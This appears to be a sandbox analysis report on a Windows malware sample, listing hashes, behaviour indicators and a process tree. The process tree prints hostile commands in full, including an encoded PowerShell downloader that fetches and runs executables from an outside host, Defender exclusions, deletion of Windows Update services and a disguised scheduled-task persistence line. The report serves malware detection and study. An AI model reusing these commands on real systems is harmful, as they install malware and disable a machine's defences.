091369381ef4de4d6caf614b4e307e84e59e422fdaf7d23feb13762c447909b4

Analysis

max time kernel
62s
max time network
97s
platform
windows10-2004_x64
resource
win10v2004-20220812-en
resource tags

arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
submitted
03/02/2023, 19:18

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General

Target

9f41b5085cd9d174d9f5fdda111c8bf1ffb1c7b4.exe
Size

898KB
MD5

59b4067b2e46f3e782f55c124f85c58e
SHA1

9f41b5085cd9d174d9f5fdda111c8bf1ffb1c7b4
SHA256

091369381ef4de4d6caf614b4e307e84e59e422fdaf7d23feb13762c447909b4
SHA512

88f1850824cab573b07810568f9068bfdda4e949e29139dba3829ecade9ab7c11ea9359e2b78379774a8acbfeea032c6ffba100dec370f7447ec463f939d63d8
SSDEEP

3072:1L1hinzhEGbhWj/hGqHkSwWgEFZqvyXipmS6RIguAg0FujD0Qth7CTEzc:1LezhHE1GqESwBlvyyQ8AOc+tCTAc

Score

10^/10

evasion

Malware Config

Signatures

Modifies security service 2 TTPs 5 IoCs

evasion

Modify Registry

T1112

Modify Existing Service

T1031

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo	reg.exe

Suspicious use of NtCreateUserProcessOtherParentProcess 5 IoCs

description	pid	Process	procid_target
PID 5112 created 2576	5112	SmartDefRun.exe	29
PID 5112 created 2576	5112	SmartDefRun.exe	29
PID 5112 created 2576	5112	SmartDefRun.exe	29
PID 5112 created 2576	5112	SmartDefRun.exe	29
PID 4300 created 584	4300	powershell.EXE	1

Blocklisted process makes network request 2 IoCs

flow	pid	Process
13	1032	powershell.exe
25	1032	powershell.exe

Downloads MZ/PE file

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\drivers\etc\hosts	SmartDefRun.exe

Stops running service(s) 3 TTPs
evasion

Modify Existing Service
T1031

Impair Defenses
T1562

Service Stop
T1489

Executes dropped EXE 3 IoCs

pid	Process
1576	C4Loader.exe
5112	SmartDefRun.exe
4220	SysApp.exe

Uses the VBS compiler for execution 1 TTPs

Scripting
T1064

Drops file in System32 directory 2 IoCs

description	ioc	Process
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log	powershell.EXE

Suspicious use of SetThreadContext 3 IoCs

description	pid	Process	procid_target
PID 4716 set thread context of 4768	4716	9f41b5085cd9d174d9f5fdda111c8bf1ffb1c7b4.exe	81
PID 5112 set thread context of 2712	5112	SmartDefRun.exe	109
PID 4300 set thread context of 4336	4300	powershell.EXE	114

Drops file in Program Files directory 1 IoCs

description	ioc	Process
File created	C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe	SmartDefRun.exe

Launches sc.exe 5 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
444	sc.exe
3504	sc.exe
1056	sc.exe
3476	sc.exe
384	sc.exe

Program crash 1 IoCs

pid	pid_target	Process	procid_target
376	4716	WerFault.exe	79

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE

Suspicious behavior: EnumeratesProcesses 29 IoCs

pid	Process
1032	powershell.exe
1032	powershell.exe
4220	SysApp.exe
4220	SysApp.exe
4220	SysApp.exe
4220	SysApp.exe
4220	SysApp.exe
4220	SysApp.exe
4220	SysApp.exe
4220	SysApp.exe
4220	SysApp.exe
4220	SysApp.exe
5112	SmartDefRun.exe
5112	SmartDefRun.exe
3200	powershell.exe
3200	powershell.exe
5112	SmartDefRun.exe
5112	SmartDefRun.exe
5112	SmartDefRun.exe
5112	SmartDefRun.exe
1328	powershell.exe
1328	powershell.exe
5112	SmartDefRun.exe
5112	SmartDefRun.exe
4300	powershell.EXE
1884	powershell.EXE
4300	powershell.EXE
1884	powershell.EXE
4300	powershell.EXE

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1032	powershell.exe
Token: SeDebugPrivilege	3200	powershell.exe
Token: SeDebugPrivilege	1328	powershell.exe
Token: SeIncreaseQuotaPrivilege	1328	powershell.exe
Token: SeSecurityPrivilege	1328	powershell.exe
Token: SeTakeOwnershipPrivilege	1328	powershell.exe
Token: SeLoadDriverPrivilege	1328	powershell.exe
Token: SeSystemProfilePrivilege	1328	powershell.exe
Token: SeSystemtimePrivilege	1328	powershell.exe
Token: SeProfSingleProcessPrivilege	1328	powershell.exe
Token: SeIncBasePriorityPrivilege	1328	powershell.exe
Token: SeCreatePagefilePrivilege	1328	powershell.exe
Token: SeBackupPrivilege	1328	powershell.exe
Token: SeRestorePrivilege	1328	powershell.exe
Token: SeShutdownPrivilege	1328	powershell.exe
Token: SeDebugPrivilege	1328	powershell.exe
Token: SeSystemEnvironmentPrivilege	1328	powershell.exe
Token: SeRemoteShutdownPrivilege	1328	powershell.exe
Token: SeUndockPrivilege	1328	powershell.exe
Token: SeManageVolumePrivilege	1328	powershell.exe
Token: 33	1328	powershell.exe
Token: 34	1328	powershell.exe
Token: 35	1328	powershell.exe
Token: 36	1328	powershell.exe
Token: SeIncreaseQuotaPrivilege	1328	powershell.exe
Token: SeSecurityPrivilege	1328	powershell.exe
Token: SeTakeOwnershipPrivilege	1328	powershell.exe
Token: SeLoadDriverPrivilege	1328	powershell.exe
Token: SeSystemProfilePrivilege	1328	powershell.exe
Token: SeSystemtimePrivilege	1328	powershell.exe
Token: SeProfSingleProcessPrivilege	1328	powershell.exe
Token: SeIncBasePriorityPrivilege	1328	powershell.exe
Token: SeCreatePagefilePrivilege	1328	powershell.exe
Token: SeBackupPrivilege	1328	powershell.exe
Token: SeRestorePrivilege	1328	powershell.exe
Token: SeShutdownPrivilege	1328	powershell.exe
Token: SeDebugPrivilege	1328	powershell.exe
Token: SeSystemEnvironmentPrivilege	1328	powershell.exe
Token: SeRemoteShutdownPrivilege	1328	powershell.exe
Token: SeUndockPrivilege	1328	powershell.exe
Token: SeManageVolumePrivilege	1328	powershell.exe
Token: 33	1328	powershell.exe
Token: 34	1328	powershell.exe
Token: 35	1328	powershell.exe
Token: 36	1328	powershell.exe
Token: SeIncreaseQuotaPrivilege	1328	powershell.exe
Token: SeSecurityPrivilege	1328	powershell.exe
Token: SeTakeOwnershipPrivilege	1328	powershell.exe
Token: SeLoadDriverPrivilege	1328	powershell.exe
Token: SeSystemProfilePrivilege	1328	powershell.exe
Token: SeSystemtimePrivilege	1328	powershell.exe
Token: SeProfSingleProcessPrivilege	1328	powershell.exe
Token: SeIncBasePriorityPrivilege	1328	powershell.exe
Token: SeCreatePagefilePrivilege	1328	powershell.exe
Token: SeBackupPrivilege	1328	powershell.exe
Token: SeRestorePrivilege	1328	powershell.exe
Token: SeShutdownPrivilege	1328	powershell.exe
Token: SeDebugPrivilege	1328	powershell.exe
Token: SeSystemEnvironmentPrivilege	1328	powershell.exe
Token: SeRemoteShutdownPrivilege	1328	powershell.exe
Token: SeUndockPrivilege	1328	powershell.exe
Token: SeManageVolumePrivilege	1328	powershell.exe
Token: 33	1328	powershell.exe
Token: 34	1328	powershell.exe

Suspicious use of WriteProcessMemory 46 IoCs

description	pid	Process	procid_target
PID 4716 wrote to memory of 4768	4716	9f41b5085cd9d174d9f5fdda111c8bf1ffb1c7b4.exe	81
PID 4716 wrote to memory of 4768	4716	9f41b5085cd9d174d9f5fdda111c8bf1ffb1c7b4.exe	81
PID 4716 wrote to memory of 4768	4716	9f41b5085cd9d174d9f5fdda111c8bf1ffb1c7b4.exe	81
PID 4716 wrote to memory of 4768	4716	9f41b5085cd9d174d9f5fdda111c8bf1ffb1c7b4.exe	81
PID 4716 wrote to memory of 4768	4716	9f41b5085cd9d174d9f5fdda111c8bf1ffb1c7b4.exe	81
PID 4768 wrote to memory of 1032	4768	vbc.exe	85
PID 4768 wrote to memory of 1032	4768	vbc.exe	85
PID 4768 wrote to memory of 1032	4768	vbc.exe	85
PID 1032 wrote to memory of 1576	1032	powershell.exe	88
PID 1032 wrote to memory of 1576	1032	powershell.exe	88
PID 1032 wrote to memory of 1576	1032	powershell.exe	88
PID 1032 wrote to memory of 5112	1032	powershell.exe	89
PID 1032 wrote to memory of 5112	1032	powershell.exe	89
PID 1032 wrote to memory of 4220	1032	powershell.exe	90
PID 1032 wrote to memory of 4220	1032	powershell.exe	90
PID 1032 wrote to memory of 4220	1032	powershell.exe	90
PID 4196 wrote to memory of 444	4196	cmd.exe	99
PID 4196 wrote to memory of 444	4196	cmd.exe	99
PID 4196 wrote to memory of 3504	4196	cmd.exe	100
PID 4196 wrote to memory of 3504	4196	cmd.exe	100
PID 4196 wrote to memory of 1056	4196	cmd.exe	101
PID 4196 wrote to memory of 1056	4196	cmd.exe	101
PID 4196 wrote to memory of 3476	4196	cmd.exe	102
PID 4196 wrote to memory of 3476	4196	cmd.exe	102
PID 4196 wrote to memory of 384	4196	cmd.exe	103
PID 4196 wrote to memory of 384	4196	cmd.exe	103
PID 4196 wrote to memory of 4992	4196	cmd.exe	104
PID 4196 wrote to memory of 4992	4196	cmd.exe	104
PID 4196 wrote to memory of 952	4196	cmd.exe	105
PID 4196 wrote to memory of 952	4196	cmd.exe	105
PID 4196 wrote to memory of 3212	4196	cmd.exe	106
PID 4196 wrote to memory of 3212	4196	cmd.exe	106
PID 4196 wrote to memory of 3740	4196	cmd.exe	107
PID 4196 wrote to memory of 3740	4196	cmd.exe	107
PID 4196 wrote to memory of 2420	4196	cmd.exe	108
PID 4196 wrote to memory of 2420	4196	cmd.exe	108
PID 5112 wrote to memory of 2712	5112	SmartDefRun.exe	109
PID 4300 wrote to memory of 4336	4300	powershell.EXE	114
PID 4300 wrote to memory of 4336	4300	powershell.EXE	114
PID 4300 wrote to memory of 4336	4300	powershell.EXE	114
PID 4300 wrote to memory of 4336	4300	powershell.EXE	114
PID 4300 wrote to memory of 4336	4300	powershell.EXE	114
PID 4300 wrote to memory of 4336	4300	powershell.EXE	114
PID 4300 wrote to memory of 4336	4300	powershell.EXE	114
PID 4300 wrote to memory of 4336	4300	powershell.EXE	114
PID 4300 wrote to memory of 4336	4300	powershell.EXE	114

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:584
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{b925f569-137e-4cb9-bbd4-d0f6e393ef93}
  2⤵
  PID:4336

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:2576
- C:\Users\Admin\AppData\Local\Temp\9f41b5085cd9d174d9f5fdda111c8bf1ffb1c7b4.exe
  "C:\Users\Admin\AppData\Local\Temp\9f41b5085cd9d174d9f5fdda111c8bf1ffb1c7b4.exe"
  2⤵
  - Suspicious use of SetThreadContext
  - Suspicious use of WriteProcessMemory
  PID:4716
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4768
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAG4AYwBjACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAeAB5AHEAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAdQB0AGMAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAYgBlAGsAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBuAGUAdwAyAC4AZQB4AGUAJwAsACAAPAAjAGwAbQBxACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAcgBoAHMAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAdAB2AGQAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQApADwAIwBiAGMAagAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAOgAvAC8AYwBvAG4AbgBlAGMAdAAyAG0AZQAuAGgAbwBwAHQAbwAuAG8AcgBnAC8AdwBvAHcALwAxAC8AMgAvADMALwA0AC8ANQAvADYALwA3AC8AQwA0AEwAbwBhAGQAZQByAC4AZQB4AGUAJwAsACAAPAAjAHMAbQBpACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAeAB5AGYAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAdABqAHoAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAQwA0AEwAbwBhAGQAZQByAC4AZQB4AGUAJwApACkAPAAjAHIAegB1ACMAPgA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBTAG0AYQByAHQARABlAGYAUgB1AG4ALgBlAHgAZQAnACwAIAA8ACMAdAB1AGwAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBjAGwAbgAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwB0AGQAawAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBTAG0AYQByAHQARABlAGYAUgB1AG4ALgBlAHgAZQAnACkAKQA8ACMAcAB4AHgAIwA+ADsAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAFMAeQBzAEEAcABwAC4AZQB4AGUAJwAsACAAPAAjAGQAawBjACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAcQBkAGQAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAdwB5AHoAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAUwB5AHMAQQBwAHAALgBlAHgAZQAnACkAKQA8ACMAZgBmAHgAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAYwBuAHEAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHkAdwBwACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAG4AZQB3ADIALgBlAHgAZQAnACkAPAAjAHcAaABrACMAPgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAHkAagB0ACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBhAHgAagAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBDADQATABvAGEAZABlAHIALgBlAHgAZQAnACkAPAAjAHIAawBrACMAPgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAGEAdQB6ACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBnAHUAaQAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBTAG0AYQByAHQARABlAGYAUgB1AG4ALgBlAHgAZQAnACkAPAAjAG0AegBrACMAPgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAGEAegB0ACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwB3AHUAbAAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBTAHkAcwBBAHAAcAAuAGUAeABlACcAKQA8ACMAcwBhAGcAIwA+AA=="
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:1032
    - - C:\Users\Admin\AppData\Local\Temp\C4Loader.exe
        
        "C:\Users\Admin\AppData\Local\Temp\C4Loader.exe"
        5⤵
        Executes dropped EXE
        
        PID:1576
    - - C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe
        
        "C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe"
        5⤵
        Suspicious use of NtCreateUserProcessOtherParentProcess
        Drops file in Drivers directory
        Executes dropped EXE
        Suspicious use of SetThreadContext
        Drops file in Program Files directory
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:5112
    - - C:\Users\Admin\AppData\Local\Temp\SysApp.exe
        
        "C:\Users\Admin\AppData\Local\Temp\SysApp.exe"
        5⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        
        PID:4220
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 4716 -s 240
    3⤵
    - Program crash
    PID:376
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3200
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4196
- - C:\Windows\System32\sc.exe
    sc stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:444
- - C:\Windows\System32\sc.exe
    sc stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:3504
- - C:\Windows\System32\sc.exe
    sc stop wuauserv
    3⤵
    - Launches sc.exe
    PID:1056
- - C:\Windows\System32\sc.exe
    sc stop bits
    3⤵
    - Launches sc.exe
    PID:3476
- - C:\Windows\System32\sc.exe
    sc stop dosvc
    3⤵
    - Launches sc.exe
    PID:384
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
    3⤵
    PID:4992
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
    3⤵
    PID:952
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
    3⤵
    - Modifies security service
    PID:3212
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
    3⤵
    PID:3740
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
    3⤵
    PID:2420
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#thpqznhs#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'WindowsDefenderSmartScreenQC' /tr '''C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries 